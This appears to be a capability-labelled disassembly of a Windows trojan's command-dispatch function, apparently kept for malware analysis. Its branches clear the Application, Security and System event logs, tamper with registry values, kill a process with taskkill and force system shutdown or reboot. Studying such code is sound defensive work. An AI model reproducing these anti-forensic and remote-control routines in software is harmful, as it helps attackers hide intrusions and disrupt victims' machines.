Function at 0x413c02
Capabilities:
Create process on windows
Delete registry value

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xb04
mov eax, dword [0x446824]
xor eax, esp
mov dword [esp + 0xb00], eax
push ebx
mov ebx, dword [ebp + 8]
movzx eax, byte [ebx]
push esi
mov esi, ecx
push edi
mov dword [esp + 0x20], esi
mov dword [esp + 0x18], ebx
cmp eax, 0xca
ja case.0x41351f.20
movzx ecx, byte [eax + 0x414410]
jmp dword [ecx*4 + 0x41437c]
cmp dword [esi + 0x430], 0
lea eax, [esi + 0x430]
jne case.default.0x4139b3
push 1
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
cmp dword [esi + 8], 0
mov byte [esp + 0x17], 0xcb
jne case.default.0x4139b3
mov ecx, dword [esi + 4]
mov edx, dword [ecx]
mov edx, dword [edx + 8]
push 1
lea eax, [esp + 0x1b]
push eax
call edx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xb00]
xor ecx, esp
call fcn.0041fcee
mov esp, ebp
pop ebp
ret 8
cmp dword [ebp + 0xc], 0xa45
jne case.default.0x4139b3
push 0xa44
call fcn.00420422
add esp, 4
push 0xa44
mov edi, eax
push 0
push edi
mov dword [esp + 0x1c], edi
call fcn.00423160
mov eax, dword [esp + 0x2c]
lea esi, [ebx + 2]
mov ecx, 0x291
add esp, 0xc
rep movsd dword es:[edi], dword [esi]
cmp dword [eax + 0x434], 1
jne 0x4135d7
mov eax, dword [esp + 0x10]
add eax, 4
push eax
push 0x4414d4
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
mov esi, dword [0x454c50]
cmp esi, dword [0x454c54]
je 0x41363a
mov edi, dword [esp + 0x10]
lea esp, [esp]
mov edx, dword [esi]
mov eax, dword [edx + 0x10]
lea ecx, [edi + 4]
add eax, 4
jmp 0x413600
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x413626
test dx, dx
je 0x413622
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x413626
add eax, 4
add ecx, 4
test dx, dx
jne 0x413600
xor eax, eax
jmp 0x41362b
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x41368f
add esi, 4
cmp esi, dword [0x454c54]
jne 0x4135f0
push 0xa45
call fcn.0041e128
mov edi, dword [esp + 0x14]
add esp, 4
mov esi, eax
push 0xa44
lea eax, [esi + 1]
push edi
mov byte [esi], 5
push eax
mov dword [edi + 0x204], 0
call fcn.00423720
mov ecx, dword [esp + 0x2c]
add esp, 0xc
push esi
mov edx, 0xa45
call fcn.00402c40
push edi
call fcn.0041fce3
add esp, 4
push esi
call fcn.0041fce3
jmp 0x414361
mov eax, dword [esi]
mov edi, dword [eax + 0x10]
mov ecx, dword [esp + 0x10]
add ecx, 0x20c
lea eax, [edi + 0x20c]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x4136ca
test dx, dx
je 0x4136c6
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x4136ca
add eax, 4
add ecx, 4
test dx, dx
jne 0x4136a4
xor eax, eax
jmp 0x4136cf
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x413742
test edi, edi
je 0x4136e9
push edi
call fcn.0041fce3
mov eax, dword [esi]
add esp, 4
mov dword [eax + 0x10], 0
mov ecx, dword [esi]
mov eax, dword [ecx + 0x14]
test eax, eax
je 0x413704
push eax
call fcn.004208fe
mov edx, dword [esi]
add esp, 4
mov dword [edx + 0x14], 0
mov eax, dword [esi]
test eax, eax
je 0x413719
push eax
call fcn.0041fce3
add esp, 4
mov dword [esi], 0
mov ecx, dword [0x454c54]
lea eax, [esi + 4]
sub ecx, eax
sar ecx, 2
add ecx, ecx
add ecx, ecx
push ecx
push eax
push esi
call fcn.0041fd00
add esp, 0xc
sub dword [0x454c54], 4
jmp 0x41363a
movzx eax, byte [ebx + 1]
sub eax, 0
je 0x413766
dec eax
jne 0x413780
push eax
push eax
mov eax, dword [esi]
push eax
push 0x410da0
push 0
push 0
call fcn.0042085e
add esp, 0x18
jmp 0x413784
mov ecx, dword [esi]
push 0
push 0
push ecx
push 0x410ee0
push 0
push 0
call fcn.0042085e
add esp, 0x18
jmp 0x413784
mov eax, dword [esp + 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [esp + 0x10]
push edx
call fcn.0041fce3
jmp 0x414361
push 0xa44
call fcn.00420422
add esp, 4
push 0xa44
mov ebx, eax
push 0
push ebx
call fcn.00423160
mov esi, dword [esp + 0x24]
add esi, 2
mov ecx, 0x291
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [ebx + 0x208]
add esp, 0xc
push ecx
call fcn.0041e128
mov edx, dword [ebx + 0x208]
mov edi, dword [esp + 0x1c]
add esp, 4
mov esi, eax
push edx
lea eax, [edi + 0xa46]
push eax
push esi
call fcn.00423720
add esp, 0xc
push 0x1c
call fcn.00420422
mov ecx, dword [esp + 0x24]
mov dword [eax + 0x10], ebx
mov dword [eax + 0x14], esi
lea edx, [ecx + 0x14]
mov dword [eax + 4], edx
mov edx, dword [ecx + 0x424]
mov dword [eax + 8], edx
mov edx, dword [ecx + 0x42c]
mov dword [eax + 0xc], edx
mov edx, dword [ecx + 0x434]
mov dword [eax + 0x18], edx
mov dword [esp + 0x14], eax
mov dword [eax], ecx
add esp, 4
lea eax, [esp + 0x10]
call fcn.00415870
movzx eax, byte [edi + 1]
sub eax, 0
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
je 0x413882
dec eax
jne 0x413892
push eax
push eax
mov eax, dword [esp + 0x18]
push eax
push 0x410da0
push 0
push 0
call fcn.0042085e
add esp, 0x18
mov esi, eax
push esi
call edi
push esi
call edi
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xb00]
xor ecx, esp
call fcn.0041fcee
mov esp, ebp
pop ebp
ret 8
mov ecx, dword [esp + 0x10]
push 0
push 0
push ecx
push 0x410ee0
jmp 0x413857
mov esi, dword [esp + 0x1c]
push esi
call edi
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xb00]
xor ecx, esp
call fcn.0041fcee
mov esp, ebp
pop ebp
ret 8
push esi
call fcn.00414610
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xb00]
xor ecx, esp
call fcn.0041fcee
mov esp, ebp
pop ebp
ret 8
xor esi, esi
push esi
push esi
push esi
lea edx, [esp + 0x1c]
push edx
lea edx, [esp + 0x28]
lea ecx, [esp + 0x2c]
mov dword [esp + 0x20], esi
mov dword [esp + 0x2c], esi
mov dword [esp + 0x28], esi
call fcn.004147a0
mov ebx, eax
cmp dword [esp + 0x10], esi
je case.default.0x4139b3
mov edi, dword [esp + 0x10]
inc edi
push edi
call fcn.0041e128
mov esi, eax
mov eax, dword [esp + 0x14]
add esp, 4
push eax
lea ecx, [esi + 1]
push ebx
push ecx
mov byte [esi], 3
call fcn.00423720
mov ecx, dword [esp + 0x2c]
add esp, 0xc
push esi
mov edx, edi
call fcn.00402c40
test ebx, ebx
je 0x41393a
push ebx
call fcn.004208fe
add esp, 4
push esi
call fcn.004208fe
jmp 0x414361
mov edx, dword [ebp + 0xc]
push edx
push ebx
call fcn.00414d50
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xb00]
xor ecx, esp
call fcn.0041fcee
mov esp, ebp
pop ebp
ret 8
lea eax, [esp + 0x1c]
push eax
push 0
inc ebx
push ebx
mov dword [esp + 0x28], 0
push 0x415530
push 0
push 0
call fcn.0042085e
add esp, 0x18
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xb00]
xor ecx, esp
call fcn.0041fcee
mov esp, ebp
pop ebp
ret 8
movzx eax, byte [ebx + 1]
cmp eax, 3
ja case.default.0x4139b3
jmp dword [eax*4 + 0x4144dc]
lea ecx, [ebx + 2]
push str.GOZHUO
call fcn.00415340
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xb00]
xor ecx, esp
call fcn.0041fcee
mov esp, ebp
pop ebp
ret 8
lea ecx, [ebx + 2]
push str.RANK
call fcn.00415340
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xb00]
xor ecx, esp
call fcn.0041fcee
mov esp, ebp
pop ebp
ret 8
push 0x4401f4
push 0x44c370
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
jne case.default.0x4139b3
lea ecx, [ebx + 2]
push str.FroxMXOifjScall
call fcn.00415340
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xb00]
xor ecx, esp
call fcn.0041fcee
mov esp, ebp
pop ebp
ret 8
push 0x4401f4
push 0x44c370
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
jne case.default.0x4139b3
lea ecx, [ebx + 2]
push str.KscBuffeCCR
call fcn.00415340
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xb00]
xor ecx, esp
call fcn.0041fcee
mov esp, ebp
pop ebp
ret 8
push 0x4401f4
push 0x44c370
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
jne case.default.0x4139b3
push str.SlDeep
mov esi, str.99999
call fcn.00410d40
jmp 0x414361
push 0x4401f4
push 0x44c370
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
jne case.default.0x4139b3
push str.SlDeep
mov esi, 0x4414f0
call fcn.00410d40
jmp 0x414361
inc ebx
push ebx
push esi
call fcn.004144f0
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xb00]
xor ecx, esp
call fcn.0041fcee
mov esp, ebp
pop ebp
ret 8
lea esi, [ebx + 1]
call fcn.00412e70
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xb00]
xor ecx, esp
call fcn.0041fcee
mov esp, ebp
pop ebp
ret 8
lea esi, [ebx + 1]
call fcn.00412e10
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xb00]
xor ecx, esp
call fcn.0041fcee
mov esp, ebp
pop ebp
ret 8
lea ecx, [ebx + 1]
call fcn.00412ed0
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xb00]
xor ecx, esp
call fcn.0041fcee
mov esp, ebp
pop ebp
ret 8
mov ecx, dword [ebp + 0xc]
push ecx
push ebx
call fcn.00413380
add esp, 8
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xb00]
xor ecx, esp
call fcn.0041fcee
mov esp, ebp
pop ebp
ret 8
mov ecx, 0x4401f4
call fcn.00413060
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xb00]
xor ecx, esp
call fcn.0041fcee
mov esp, ebp
pop ebp
ret 8
mov ecx, 0x4414f8
call fcn.00413060
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xb00]
xor ecx, esp
call fcn.0041fcee
mov esp, ebp
pop ebp
ret 8
mov ecx, 0x4401f4
call fcn.004131f0
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xb00]
xor ecx, esp
call fcn.0041fcee
mov esp, ebp
pop ebp
ret 8
mov ecx, 0x4414f8
call fcn.004131f0
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xb00]
xor ecx, esp
call fcn.0041fcee
mov esp, ebp
pop ebp
ret 8
inc ebx
push ebx
call fcn.00411680
jmp 0x414361
lea edx, [esp + 0x10]
push edx
push 2
push 0
push str.SYSTEMCurrentControlSetControlVersionForcorResourcesTimeZone
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov eax, dword [esp + 0x10]
mov esi, dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
push str.PLS_lolocckA
push eax
call esi
test eax, eax
jne 0x413c55
mov ecx, dword [esp + 0x10]
push str.PLS_lolocckB
push ecx
call esi
test eax, eax
jne 0x413c55
push eax
push str.taskkill__f__im_MicrosoftFolderRedirectionWMIProvider.exe
call dword [sym.imp.KERNEL32.dll_WinExec]
push 0x37
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [esp + 0x10]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xb00]
xor ecx, esp
call fcn.0041fcee
mov esp, ebp
pop ebp
ret 8
cmp dword [esi + 8], 0
mov byte [esp + 0x17], 0x14
jne case.default.0x4139b3
mov ecx, dword [esi + 4]
mov eax, dword [ecx]
mov eax, dword [eax + 8]
push 1
lea edx, [esp + 0x1b]
push edx
call eax
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xb00]
xor ecx, esp
call fcn.0041fcee
mov esp, ebp
pop ebp
ret 8
mov ecx, dword [ebx + 5]
mov eax, dword [ebx + 1]
push ecx
xor edx, edx
push eax
push 1
lea ecx, [esp + 0x24]
mov dword [esp + 0x24], edx
mov dword [esp + 0x1c], edx
mov dword [esp + 0x28], edx
push ecx
lea edx, [esp + 0x2c]
lea ecx, [esp + 0x20]
call fcn.004147a0
mov ebx, dword [esp + 0x18]
mov edi, eax
lea eax, [ebx + 5]
push eax
mov dword [esp + 0x20], eax
call fcn.0041e128
add esp, 4
mov esi, eax
push ebx
lea edx, [esi + 5]
push edi
push edx
mov byte [esi], 0x14
mov dword [esi + 1], ebx
call fcn.00423720
mov edx, dword [esp + 0x28]
mov ecx, dword [esp + 0x2c]
add esp, 0xc
push esi
call fcn.00402c40
test edi, edi
je 0x413d1f
push edi
call fcn.004208fe
add esp, 4
push esi
call fcn.004208fe
jmp 0x414361
mov ebx, dword [sym.imp.ADVAPI32.dll_OpenEventLogW]
mov dword [esp + 0x24], str.Application
mov dword [esp + 0x28], str.Security
mov dword [esp + 0x2c], str.System
xor edi, edi
lea ebx, [ebx]
mov eax, dword [esp + edi*4 + 0x24]
push eax
push 0
call ebx
mov esi, eax
test esi, esi
je 0x413d6f
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_ClearEventLogW]
push esi
call dword [sym.imp.ADVAPI32.dll_CloseEventLog]
inc edi
cmp edi, 3
jl 0x413d50
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xb00]
xor ecx, esp
call fcn.0041fcee
mov esp, ebp
pop ebp
ret 8
call fcn.004154c0
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, 1
call fcn.0040d9b0
push 0
push 4
call dword [sym.imp.USER32.dll_ExitWindowsEx]
xor ecx, ecx
call fcn.0040d9b0
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xb00]
xor ecx, esp
call fcn.0041fcee
mov esp, ebp
pop ebp
ret 8
mov ecx, 1
call fcn.0040d9b0
push 0
push 6
call dword [sym.imp.USER32.dll_ExitWindowsEx]
xor ecx, ecx
call fcn.0040d9b0
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xb00]
xor ecx, esp
call fcn.0041fcee
mov esp, ebp
pop ebp
ret 8
mov ecx, 1
call fcn.0040d9b0
push 0
push 5
call dword [sym.imp.USER32.dll_ExitWindowsEx]
xor ecx, ecx
call fcn.0040d9b0
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xb00]
xor ecx, esp
call fcn.0041fcee
mov esp, ebp
pop ebp
ret 8
mov ecx, dword [esi + 4]
mov edx, dword [ecx]
mov eax, dword [edx]
call eax
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xb00]
xor ecx, esp
call fcn.0041fcee
mov esp, ebp
pop ebp
ret 8
push 0x11
call fcn.00402cb0
mov eax, dword [esi + 0x434]
add esp, 4
sub eax, 0
je 0x413e88
dec eax
jne case.default.0x4139b3
mov dword [esi + 0x434], eax
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xb00]
xor ecx, esp
call fcn.0041fcee
mov esp, ebp
pop ebp
ret 8
mov dword [esi + 0x434], 1
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xb00]
xor ecx, esp
call fcn.0041fcee
mov esp, ebp
pop ebp
ret 8
push 0x7d2
call fcn.00420422
mov ecx, dword [ebp + 0xc]
add esp, 4
push ecx
mov edi, eax
push ebx
push edi
call fcn.00423720
add esp, 0xc
push 0x64
lea edx, [esp + 0x9c]
push 0
push edx
call fcn.00423160
add esp, 0xc
push 0x64
lea eax, [esp + 0x34]
push 0
push eax
call fcn.00423160
add esp, 0xc
push 0x64
lea ecx, [esp + 0x104]
push 0
push ecx
call fcn.00423160
add esp, 0xc
push 0x64
lea edx, [esp + 0x16c]
push 0
push edx
call fcn.00423160
add esp, 0xc
push 0x64
lea eax, [esp + 0x1d4]
push 0
push eax
call fcn.00423160
add esp, 0xc
push 0x64
lea ecx, [esp + 0x23c]
push 0
push ecx
call fcn.00423160
add esp, 0xc
push 0x64
lea edx, [esp + 0x2a4]
push 0
push edx
call fcn.00423160
add esp, 0xc
push 0
lea eax, [esp + 0x9c]
push eax
add edi, 2
push 0x440978
push edi
call fcn.0040de60
push 0
lea ecx, [esp + 0x44]
push ecx
push 0x440980
push edi
call fcn.0040de60
push 0
lea edx, [esp + 0x124]
push edx
push 0x440988
push edi
call fcn.0040de60
push 0
lea eax, [esp + 0x19c]
push eax
push 0x441564
push edi
call fcn.0040de60
add esp, 0x40
push 0
lea ecx, [esp + 0x1d4]
push ecx
push 0x44156c
push edi
call fcn.0040de60
push 0x3ff
lea edx, [esp + 0x31d]
push 0
push edx
mov byte [esp + 0x324], 0
call fcn.00423160
mov esi, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
add esp, 0x1c
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
lea eax, [esp + 0xac]
push eax
push 0
push 0
call esi
push 0
push 0
push eax
lea ecx, [esp + 0x314]
push ecx
push 0xffffffffffffffff
lea edx, [esp + 0xac]
push edx
push 0
push 0
call esi
lea eax, [esp + 0x308]
lea ecx, [eax + 1]
nop
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x414020
sub eax, ecx
lea ecx, [esp + 0x308]
push ecx
mov edx, eax
call fcn.00416f30
lea eax, [esp + 0x30c]
add esp, 4
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x414045
mov ebx, dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push 0
sub eax, edx
push 0
inc eax
push eax
lea edx, [esp + 0x314]
push edx
push 0
push 0
call ebx
lea ecx, [esp + 0x308]
lea edx, [ecx + 1]
mov dword [esp + 0x1c], edx
mov dl, byte [ecx]
inc ecx
test dl, dl
jne 0x414076
sub ecx, dword [esp + 0x1c]
push eax
lea eax, [esp + 0x23c]
push eax
inc ecx
push ecx
lea ecx, [esp + 0x314]
push ecx
push 0
push 0
call ebx
push 0x3ff
lea edx, [esp + 0x70d]
push 0
push edx
mov byte [esp + 0x714], 0
call fcn.00423160
add esp, 0xc
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
lea eax, [esp + 0x44]
push eax
push 0
push 0
call esi
push 0
push 0
push eax
lea ecx, [esp + 0x714]
push ecx
push 0xffffffffffffffff
lea edx, [esp + 0x44]
push edx
push 0
push 0
call esi
lea eax, [esp + 0x708]
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4140f2
sub eax, esi
lea ecx, [esp + 0x708]
push ecx
mov edx, eax
call fcn.00416f30
lea eax, [esp + 0x70c]
add esp, 4
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x414117
push 0
sub eax, edx
push 0
inc eax
push eax
lea edx, [esp + 0x714]
push edx
push 0
push 0
call ebx
lea ecx, [esp + 0x708]
mov esi, eax
lea eax, [ecx + 1]
mov dl, byte [ecx]
inc ecx
test dl, dl
jne 0x414140
push esi
sub ecx, eax
lea eax, [esp + 0x2a4]
push eax
inc ecx
push ecx
lea ecx, [esp + 0x714]
push ecx
push 0
push 0
call ebx
push str.lagsname
lea esi, [esp + 0x23c]
mov ecx, str.SYSTEMCurrentControlSetControlVersionForcorResourcesTimeZone
call fcn.00410ce0
add esp, 4
push str.lagsnameTow
lea esi, [esp + 0x2a4]
mov ecx, str.SYSTEMCurrentControlSetControlVersionForcorResourcesTimeZone
call fcn.00410ce0
add esp, 4
push 0x43ea8c
lea esi, [esp + 0x104]
mov ecx, str.SYSTEMCurrentControlSetControlVersionForcorResourcesTimeZone
call fcn.00410ce0
add esp, 4
push 0x43ea94
lea esi, [esp + 0x16c]
mov ecx, str.SYSTEMCurrentControlSetControlVersionForcorResourcesTimeZone
call fcn.00410ce0
add esp, 4
push 0x43ea9c
lea esi, [esp + 0x1d4]
mov ecx, str.SYSTEMCurrentControlSetControlVersionForcorResourcesTimeZone
call fcn.00410ce0
add esp, 4
push 0
push 0x44bae6
push 0x440978
push edi
call fcn.0040de60
push 0
push 0x44bce4
push 0x440980
push edi
call fcn.0040de60
add esp, 0x20
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [esp + 0x20]
mov ecx, dword [edx + 4]
mov eax, dword [ecx]
mov edx, dword [eax]
call edx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xb00]
xor ecx, esp
call fcn.0041fcee
mov esp, ebp
pop ebp
ret 8
push 0x7d2
call fcn.00420422
add esp, 4
cmp dword [ebp + 0xc], 0x7d2
mov esi, eax
jne case.default.0x4139b3
push 0x7d2
push ebx
push esi
call fcn.00423720
add esp, 0xc
push 0
push 0
push esi
push 0x411020
jmp 0x41397c
add esi, 0x428
cmp dword [esi], 0
je case.default.0x4139b3
lea eax, [esp + 0x10]
push eax
push 2
push 0
push str.Console
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov ecx, dword [esp + 0x10]
push str.IpDatespecial
push ecx
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov edx, dword [esp + 0x10]
push 4
push esi
push 3
push 0
push str.IpDatespecial
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xb00]
xor ecx, esp
call fcn.0041fcee
mov esp, ebp
pop ebp
ret 8
cmp dword [esi + 0x428], 0
je case.default.0x4139b3
lea ecx, [esp + 0x18]
push ecx
push 2
push 0
push str.Console
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov edx, dword [esp + 0x18]
push str.IpDatespecial
push edx
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov eax, dword [esp + 0x18]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xb00]
xor ecx, esp
call fcn.0041fcee
mov esp, ebp
pop ebp
ret 8
cmp byte [ebx + 1], 0
push esi
jne 0x4138b1
call fcn.00414610
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xb00]
xor ecx, esp
call fcn.0041fcee
mov esp, ebp
pop ebp
ret 8
push eax
call fcn.00402cb0
add esp, 4
mov ecx, dword [esp + 0xb0c]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.0041fcee
mov esp, ebp
pop ebp
ret 8